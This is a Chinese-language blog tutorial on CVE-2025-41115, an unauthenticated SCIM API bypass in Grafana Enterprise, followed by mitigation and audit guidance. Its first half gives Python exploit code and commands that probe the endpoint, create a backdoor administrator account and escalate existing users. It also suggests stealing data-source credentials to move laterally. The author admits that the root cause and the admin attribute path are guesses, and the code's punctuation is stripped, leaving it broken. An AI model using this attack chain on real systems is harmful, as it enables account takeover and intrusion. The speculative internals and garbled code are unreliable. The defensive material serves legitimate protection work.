1. 项目概述与核心漏洞解析最近在安全圈里Grafana Enterprise 的一个 SCIM 相关漏洞CVE-2025-41115引起了不小的讨论。作为一个经常和监控、可视化平台打交道的从业者我习惯性地会去研究一下这类影响面广的漏洞看看它的原理、影响范围以及在实际环境中如何验证和防护。这个漏洞利用工具本质上是一个 PoC概念验证脚本它清晰地展示了攻击者如何利用 Grafana Enterprise 版本中 SCIM API 的一个缺陷来执行未授权的敏感操作。对于安全研究人员、渗透测试工程师以及负责 Grafana 平台运维的团队来说理解这个工具的工作原理远比单纯运行它要重要得多。它能帮你快速评估自身系统的风险并采取针对性的加固措施。简单来说CVE-2025-41115 是一个存在于 Grafana Enterprise 的 SCIM跨域身份管理系统API 中的身份验证绕过漏洞。攻击者可以在未经任何身份验证的情况下构造特定的 HTTP 请求直接访问或操作本应受保护的 SCIM 端点。SCIM 协议通常用于在云服务或企业应用间同步用户和群组信息其 API 的失陷可能导致用户账户被非法创建、修改或删除甚至可能成为进一步横向移动的跳板。这个 Python 脚本就是将这一攻击路径自动化了。在开始深入之前我们必须明确一点这个工具及相关知识仅用于授权的安全测试、漏洞验证和教育学习目的。任何未经授权对生产系统进行测试的行为都是非法的并可能造成严重的服务中断和数据风险。我们的目标是通过剖析它来更好地防御。2. 漏洞原理深度剖析SCIM API 的认证逻辑缺陷要理解这个漏洞利用工具在做什么我们必须先拆解 CVE-2025-41115 漏洞的根本原因。这涉及到 Grafana Enterprise 的架构、SCIM 协议的处理流程以及认证中间件Middleware的拦截逻辑。2.1 Grafana Enterprise 的 SCIM 功能与架构背景Grafana 是一个开源的可视化与分析平台而 Grafana Enterprise 是其商业版本提供了包括增强版告警、报告、数据源权限管理和企业级 SSO单点登录/用户配置等功能。SCIM 支持正是企业版中用于自动化用户生命周期管理如从 Okta, Azure AD 等 IdP 同步用户的关键特性。在典型的部署中Grafana 的 SCIM API 端点例如/api/scim/v2/下的各种路径应该只接受来自可信身份提供商IdP的请求并且这些请求必须携带有效的认证凭证比如 API 密钥或基于令牌的认证。Grafana 会在请求到达具体的业务逻辑处理器Handler之前通过一系列的认证中间件来验证请求的合法性。2.2 认证绕过漏洞的根源CVE-2025-41115 的核心问题就出在这个“之前”。根据已披露的信息和分析漏洞的根源在于认证中间件的路由匹配规则存在缺陷。具体来说Grafana 的 HTTP 路由器Router和中间件链Middleware Chain在处理到达/api/scim/v2/路径的请求时可能出现了逻辑错误。一种常见的情况是存在一个全局的或针对/api路径的认证中间件它本应检查所有/api/*下的请求。但是对于/api/scim/v2/这个特定的路由开发人员可能为了兼容某些旧版本或特殊的集成场景错误地配置了路由规则导致该路径被排除在了全局认证检查之外或者匹配到了一个不需要认证的“兜底”路由或中间件。另一种可能是SCIM 端点的认证依赖于一个独立的、可选的中间件但这个中间件在某些配置下例如未正确启用 SCIM 功能或使用了特定的部署方式未能被正确加载或执行。这就导致了一个严重的后果攻击者发送到/api/scim/v2/Users或/api/scim/v2/Groups的 HTTP 请求绕过了所有认证关卡直接抵达了处理用户/群组增删改查的业务逻辑代码。由于 SCIM 协议本身是用于管理用户的这些业务逻辑通常就包含了创建新用户、修改用户属性如提升权限、列出所有用户等高风险操作。注意这里描述的是一种基于常见 Web 框架漏洞模式的合理推测。具体的代码级根本原因需要查看官方补丁或深入逆向工程才能完全确定但上述逻辑足以让我们理解利用工具的设计思路。2.3 漏洞影响范围与严重性这个漏洞的影响是立竿见影的未授权访问无需任何账号密码或令牌即可调用 SCIM API。用户账户操纵可以创建新的管理员账户为现有账户添加管理员权限或者删除关键账户。信息泄露可以枚举系统中的所有 SCIM 用户通常是所有同步用户获取邮箱、用户名等信息。持久化后门通过创建一个隐蔽的管理员账户攻击者可以获得 Grafana 的完全控制权进而访问所有监控数据、仪表盘甚至利用 Grafana 的数据源配置访问后端数据库等其他系统。其 CVSS 评分很可能在高危High或严重Critical范围因为攻击复杂度低网络可达即可无需用户交互并且能直接导致权限提升和系统完全失控。3. 漏洞利用工具设计与核心模块拆解理解了漏洞原理我们来看这个 Python 利用工具是如何将其武器化的。一个好的 PoC 工具不仅是能“炸”更要能清晰地展示漏洞的触发条件、利用过程和潜在影响。这个工具通常包含以下几个核心模块。3.1 工具整体架构与工作流程一个典型的利用脚本会遵循以下工作流参数解析接收用户输入的目标地址URL、攻击操作如创建用户、列出用户以及相关参数如新用户名、邮箱。请求构造器根据 SCIM 协议规范RFC 7643/7644和漏洞利用点构建合法的 HTTP 请求。关键是构造指向漏洞路径/api/scim/v2/的请求并且故意不包含任何认证头如Authorization: Bearer ...。漏洞检测器在执行破坏性操作前通常会有一个检测环节发送一个无害的探测请求如 GET/api/scim/v2/ServiceProviderConfig来确认目标是否存在漏洞。如果未授权请求返回了成功响应如 200 OK则确认漏洞存在。利用执行器根据用户选择的攻击模式发送对应的 POST、PATCH 或 GET 请求执行具体的恶意操作。结果处理器解析目标的响应以清晰易懂的格式输出操作结果如新用户的 ID、列出所有用户的表格。3.2 核心代码模块解析让我们以一个简化的伪代码/概念代码为例拆解每个部分参数解析模块import argparse def parse_args(): parser argparse.ArgumentParser(descriptionCVE-2025-41115 Grafana Enterprise SCIM 漏洞利用工具) parser.add_argument(-u, --url, requiredTrue, help目标 Grafana Enterprise 基础URL (e.g., http://grafana.company.com)) parser.add_argument(-a, --action, choices[detect, list-users, create-admin, patch-user], defaultdetect, help执行的操作: detect(检测), list-users(列出用户), create-admin(创建管理员), patch-user(修改用户属性)) parser.add_argument(--username, help创建或修改的用户名) parser.add_argument(--email, help创建或修改的用户邮箱) parser.add_argument(--user-id, help需要修改的用户的SCIM ID (用于patch操作)) return parser.parse_args()这个模块定义了工具的使用接口让用户能够灵活指定目标和攻击类型。请求构造与发送模块这是工具的核心。它需要精确构造符合 SCIM 协议标准的 JSON 载荷。import requests import json def build_scim_user_payload(username, email, activeTrue, adminFalse): 构造创建用户的SCIM JSON载荷 payload { schemas: [urn:ietf:params:scim:schemas:core:2.0:User], userName: username, emails: [{primary: True, value: email, type: work}], active: active, # Grafana可能扩展的属性用于赋予管理员权限 urn:ietf:params:scim:schemas:extension:grafana:2.0:User: { isGrafanaAdmin: admin # 关键设置为True以创建管理员 } } return payload def send_unauthorized_request(url, methodGET, json_dataNone): 发送未认证的请求到目标SCIM端点 headers { Content-Type: application/scimjson, # SCIM协议要求的Content-Type Accept: application/scimjson, # 注意这里故意不包含 Authorization 头 } try: if method.upper() GET: resp requests.get(url, headersheaders, verifyFalse, timeout10) elif method.upper() POST: resp requests.post(url, headersheaders, jsonjson_data, verifyFalse, timeout10) elif method.upper() PATCH: resp requests.patch(url, headersheaders, jsonjson_data, verifyFalse, timeout10) return resp except requests.exceptions.RequestException as e: print(f[!] 请求失败: {e}) return None这里有几个关键点Content-Type和Accept头设置为application/scimjson是 SCIM 协议的标准要求使用正确的头能确保请求被正确路由和处理。绝对不添加Authorization头这是利用漏洞的前提。verifyFalse是为了在测试中忽略 SSL 证书验证方便内部测试但在任何严肃的安全测试中应谨慎使用并理解其风险。载荷中的urn:ietf:params:scim:schemas:extension:grafana:2.0:User是一个扩展模式用于传递 Grafana 特有的属性如isGrafanaAdmin。这是攻击成功的关键因为普通的 SCIM 用户创建可能不会自动成为管理员。漏洞检测模块def detect_vulnerability(base_url): 检测目标是否存在CVE-2025-41115漏洞 probe_url f{base_url.rstrip(/)}/api/scim/v2/ServiceProviderConfig print(f[*] 正在探测: {probe_url}) resp send_unauthorized_request(probe_url, GET) if resp is None: return False, 网络请求失败 print(f[*] 响应状态码: {resp.status_code}) # 如果未认证请求能成功获取到服务配置通常返回200和JSON则很可能存在漏洞 # 注意有些配置错误的端点可能返回其他成功状态码或不同内容需要灵活判断 if resp.status_code 200 and application/scimjson in resp.headers.get(Content-Type, ): try: config resp.json() if schemas in config: print([] 目标可能存在 CVE-2025-41115 漏洞 (未授权访问SCIM API成功)) return True, config except json.JSONDecodeError: pass elif resp.status_code 401 or resp.status_code 403: print([-] 目标可能已修复或未启用SCIM请求被拒绝。) else: print(f[-] 未知响应漏洞可能不存在。状态码: {resp.status_code}) return False, None这个模块的探测逻辑很讲究。它选择/ServiceProviderConfig这个端点是因为它是一个标准的、只读的 SCIM 端点通常不包含敏感信息。对其进行 GET 操作是一个相对“安全”的探测不会修改系统状态。如果未授权能拿到这个配置信息那么未授权进行写操作POST/PATCH的可能性就极高。4. 实操利用过程与攻击场景复现现在我们模拟一个完整的攻击链看看攻击者如何一步步利用这个漏洞。假设我们有一个目标http://internal-grafana.corp.local。4.1 环境准备与工具使用首先你需要一个安装了 Python3 和requests库的环境。工具的使用通常如下# 查看帮助 python3 grafana_scim_exploit.py -h # 第一步检测漏洞 python3 grafana_scim_exploit.py -u http://internal-grafana.corp.local -a detect # 第二步如果漏洞存在列出当前所有SCIM用户信息搜集 python3 grafana_scim_exploit.py -u http://internal-grafana.corp.local -a list-users # 第三步创建一个新的管理员用户 python3 grafana_scim_exploit.py -u http://internal-grafana.corp.local -a create-admin --username eviladmin --email eviladmincorp.local # 第四步可选修改现有用户的权限将其提升为管理员 # 首先从 list-users 输出中获取目标的 SCIM id python3 grafana_scim_exploit.py -u http://internal-grafana.corp.local -a patch-user --user-id abc123def456 --username existinguser --email existingcorp.local # 注意PATCH载荷需要构造一个操作列表将 isGrafanaAdmin 设置为 true4.2 分步攻击演示与结果分析步骤一漏洞检测运行检测命令后工具会向http://internal-grafana.corp.local/api/scim/v2/ServiceProviderConfig发送 GET 请求。存在漏洞的响应服务器返回 HTTP 200内容是一个 JSON 格式的服务提供商配置信息。工具会打印[]标志确认漏洞存在。已修复或无漏洞的响应服务器返回 HTTP 401未授权、403禁止访问或 404未找到。工具会提示目标可能安全。步骤二信息收集列出用户如果漏洞存在攻击者首先会进行侦察。工具会请求/api/scim/v2/Users端点。list_users_url f{base_url}/api/scim/v2/Users resp send_unauthorized_request(list_users_url, GET)服务器会返回一个包含所有通过 SCIM 管理的用户列表可能包括从企业 AD 同步过来的所有用户。响应体是一个 JSON包含Resources数组每个元素有id,userName,emails,active等字段。攻击者可以从中了解用户命名规范。寻找高权限用户如用户名包含admin,ops。获取用户的 SCIMid为后续的 PATCH 操作做准备。步骤三创建后门管理员账户这是最具破坏性的操作。工具会构造一个 POST 请求到/api/scim/v2/Users。create_user_url f{base_url}/api/scim/v2/Users user_payload build_scim_user_payload(usernameeviladmin, emaileviladmincorp.local, adminTrue) resp send_unauthorized_request(create_user_url, POST, json_datauser_payload)关键的载荷部分如下{ schemas: [urn:ietf:params:scim:schemas:core:2.0:User], userName: eviladmin, emails: [{primary: true, value: eviladmincorp.local, type: work}], active: true, urn:ietf:params:scim:schemas:extension:grafana:2.0:User: { isGrafanaAdmin: true } }如果成功服务器会响应 HTTP 201 Created并在响应体中返回新创建用户的完整信息包括一个系统分配的id。此时攻击者就可以用用户名eviladmin和其邮箱在某些配置下初始密码可能通过邮件发送或为空取决于Grafana的配置登录Grafana并拥有完全的管理员权限。步骤四权限提升修改现有用户如果攻击者不想创建新用户引起怀疑他可以选择将一个已存在但权限较低的用户提升为管理员。这需要用到 SCIM 的 PATCH 方法和 JSON Patch 格式。patch_user_url f{base_url}/api/scim/v2/Users/{user_id} patch_payload { schemas: [urn:ietf:params:scim:api:messages:2.0:PatchOp], Operations: [{ op: replace, path: urn:ietf:params:scim:schemas:extension:grafana:2.0:User:isGrafanaAdmin, value: true }] } resp send_unauthorized_request(patch_user_url, PATCH, json_datapatch_payload)这个操作更加隐蔽因为用户名没有变化但该用户的权限已经被暗中提升。实操心得在实际测试中isGrafanaAdmin这个扩展属性名是关键。不同版本的 Grafana Enterprise 可能有细微差别。如果利用不成功可以尝试先创建一个普通用户admin: false然后通过 PATCH 尝试修改或者查看官方文档/其他用户的 SCIM 数据来确认正确的属性路径。另外Grafana 的 SCIM API 可能对用户名/邮箱的格式有要求比如必须匹配企业域名在测试环境中需要根据实际情况调整。5. 防御措施与漏洞修复指南作为防御方在了解了攻击原理后我们需要立即采取行动。防御分为紧急缓解和彻底修复两个层面。5.1 紧急缓解措施临时方案如果你的 Grafana Enterprise 正在暴露在互联网或不可信网络且暂时无法立即升级可以考虑以下应急方案网络层隔离与访问控制防火墙规则在 Grafana 服务器前端的防火墙或安全组上严格限制对:3000端口Grafana默认端口的访问。只允许可信的 IP 地址段如运维网段、跳板机访问。反向代理配置如果使用了 Nginx 或 Apache 作为反向代理可以在代理层添加额外的认证。例如在 Nginx 中对/api/scim/v2/路径的请求要求 HTTP Basic 认证。location /api/scim/v2/ { auth_basic Restricted SCIM API; auth_basic_user_file /etc/nginx/.htpasswd; proxy_pass http://grafana_backend; }禁用 SCIM 功能如果暂时不需要 SCIM 同步可以在 Grafana 配置文件中完全禁用 SCIM。查看grafana.ini中[scim]部分确保enabled false。然后重启 Grafana 服务。监控与告警立即在 Grafana 日志或集成的 SIEM安全信息与事件管理系统中设置针对/api/scim/v2/路径的未授权访问告警。任何 200 或 201 状态码的请求如果来源 IP 不是你的合法 IdP都应视为高危事件。监控用户管理日志警惕短时间内新增的管理员账户或异常的用户权限变更。5.2 彻底修复方案官方补丁最根本的解决方法是应用 Grafana 官方发布的补丁。Grafana Labs 在披露 CVE-2025-41115 的同时一定会发布修复了该漏洞的版本。确定受影响版本首先确认你运行的 Grafana Enterprise 版本。漏洞通常影响某个版本范围例如Enterprise 10.x.x 到 10.y.y。查看官方安全公告获取精确信息。升级到安全版本根据官方公告将你的 Grafana Enterprise 升级到已修复该漏洞的版本。例如如果公告说 10.3.1 修复了漏洞而你正在运行 10.2.0那么就需要升级到 10.3.1 或更高。# 示例使用包管理器升级具体命令取决于你的操作系统和安装方式 # Ubuntu/Debian sudo apt update sudo apt install grafana-enterprise # CentOS/RHEL sudo yum update grafana-enterprise # 或者下载新版安装包手动替换验证修复升级后立即使用我们前面提到的漏洞检测方法进行验证。运行工具的detect功能确保现在向 SCIM 端点发送未授权请求会返回401 Unauthorized或403 Forbidden。你也可以尝试用一个无效的 API 密钥发送请求确认认证机制已正常生效。审查与清理在修复漏洞后必须彻底审查系统用户审计在 Grafana 管理后台 (/admin/users) 仔细检查所有用户列表。寻找在漏洞窗口期内创建的、不熟悉的、特别是具有管理员权限的用户账户。日志审计检查 Grafana 的访问日志和审计日志寻找在漏洞窗口期内对/api/scim/v2/路径的成功请求记录。记录下源 IP、时间戳和操作详情。后门清理一旦发现可疑账户立即禁用或删除。并检查这些账户是否进行了其他配置更改如添加了异常的数据源、警报通道或仪表盘。5.3 安全加固最佳实践亡羊补牢为时未晚。借此机会可以推行一些 Grafana 安全加固的最佳实践最小权限原则SCIM 同步的账户除非必要不应默认赋予管理员权限。在 IdP 侧做好群组映射在 Grafana 中通过角色进行权限控制。网络隔离Grafana 管理界面包括 API绝不应该直接暴露在公网。应通过 VPN 或零信任网络访问。定期更新订阅 Grafana 的安全公告邮件列表建立流程确保安全补丁能在评估后尽快部署。启用审计日志确保 Grafana 的审计日志功能开启并集中收集到安全的日志平台便于事后追溯和分析。定期安全评估对 Grafana 进行定期的授权渗透测试或漏洞扫描主动发现潜在的安全风险。6. 常见问题排查与工具使用技巧在使用漏洞利用工具进行授权测试或分析时你可能会遇到一些问题。这里记录一些常见的坑和解决思路。6.1 工具运行常见问题问题1工具运行后返回401或403但目标版本确实在受影响范围内。可能原因ASCIM 功能未启用。Grafana Enterprise 的 SCIM 是一个需要许可证并可能在配置中显式开启的功能。检查grafana.ini中的[scim]部分。可能原因B目标部署在反向代理后代理层已经添加了认证。即使后端有漏洞请求在到达 Grafana 之前就被代理拦截了。可能原因C漏洞利用路径或请求头不正确。不同小版本间 API 路径或要求的头部可能有细微差别。尝试抓取一个合法的 SCIM 请求从你的 IdP 到 Grafana进行对比。排查技巧使用curl或 Burp Suite 手动构造请求逐个尝试不同的路径变体如/scim/v2/前是否有/api和Content-Type头application/jsonvsapplication/scimjson。问题2创建用户成功但新用户不是管理员或者无法登录。可能原因AGrafana 扩展属性路径或名称不对。urn:ietf:params:scim:schemas:extension:grafana:2.0:User这个 URI 和isGrafanaAdmin属性名是基于常见模式的推测。需要查阅特定版本 Grafana 的官方 SCIM 文档或通过合法请求观察响应体来确认。可能原因BGrafana 配置了额外的登录限制。例如可能只允许特定域名邮箱注册或者新用户首次登录需要重置密码。排查技巧先用工具或curl列出几个已存在的、已知的管理员用户查看他们的 SCIM 表示形式确认管理员属性的准确路径。对于登录问题检查 Grafana 的[auth]相关配置和服务器日志。问题3工具提示 SSL 证书验证错误。原因目标使用了自签名证书或内部 CA 签发的证书而工具的verifyFalse设置可能在某些环境下仍有问题或者你出于安全考虑不想禁用验证。解决如果你拥有目标 CA 证书可以将其传递给requestsresp requests.post(url, headersheaders, jsondata, verify/path/to/ca-bundle.crt)仅在绝对安全的测试环境中才考虑使用verifyFalse。6.2 在渗透测试中的高级技巧在真实的授权渗透测试中单纯运行 PoC 脚本是不够的需要更深入地融入测试流程信息收集整合将list-users获取的信息与其他侦察手段如端口扫描、子域名枚举的结果结合。看看 Grafana 中是否存在使用公司邮箱格式的用户这有助于绘制更全面的攻击面。权限维持与拓展成功创建管理员账户后不要止步于 Grafana。检查 Grafana 中配置的数据源如 Prometheus, Elasticsearch, 各类数据库。这些数据源的连接凭证可能以明文或加密形式存储在 Grafana 数据库或配置文件中。获取这些凭证可能成为通往其他核心系统的跳板。痕迹清理在测试的最后阶段如果客户允许需要清理测试创建的用户和修改的数据。使用工具的delete功能如果实现或手动发送 SCIM DELETE 请求来移除测试用户。同时要清理或还原任何修改的仪表盘、警报规则等。报告编写在最终报告中不仅要说明漏洞存在更要清晰地展示攻击路径Attack Path从外部发现 Grafana → 利用 CVE-2025-41115 未授权创建管理员账户 → 登录并控制 Grafana → 窃取数据源凭证 → 访问内部监控/数据库系统。这种叙事能让风险更直观地被理解。6.3 防御视角的排查清单作为防御者你可以根据攻击步骤来制定你的排查清单检查项检查方法预期结果/修复动作1. 版本确认登录 Grafana查看底部版本号或调用/api/health端点。确认版本是否在受影响范围。如果是计划立即升级。2. 漏洞探测使用本文描述的检测脚本或手动curl探测/api/scim/v2/ServiceProviderConfig。应返回401或403。如果返回 200 及 JSON说明漏洞存在。3. 用户审计在 Grafana 管理界面审查所有用户重点关注最近创建的和具有 Admin 角色的。查找陌生账户。确认所有管理员账户都是已知和必要的。4. 日志审计搜索 Grafana 日志中POST /api/scim/v2/Users和PATCH /api/scim/v2/Users/*的请求。确认所有此类请求都来自可信的 IdP IP 地址。5. 网络配置检查防火墙、负载均衡器、反向代理的 ACL 规则。确认 Grafana 管理端口不直接对公网开放访问受到严格控制。6. SCIM 配置检查grafana.ini中[scim]部分。如果不需要设置enabled false。如果需要确保配置了强认证如有效的 API 密钥。这个漏洞再次提醒我们即使是 Grafana 这样成熟的企业级软件其新增的企业功能模块也可能在复杂的配置和交互中引入严重的认证缺陷。对于运维和安全团队而言保持组件更新、实施最小权限原则、进行有效的网络隔离和持续的日志监控是构筑深度防御体系不可或缺的环节。而理解攻击者的工具和思路能让我们在防守时更加有的放矢。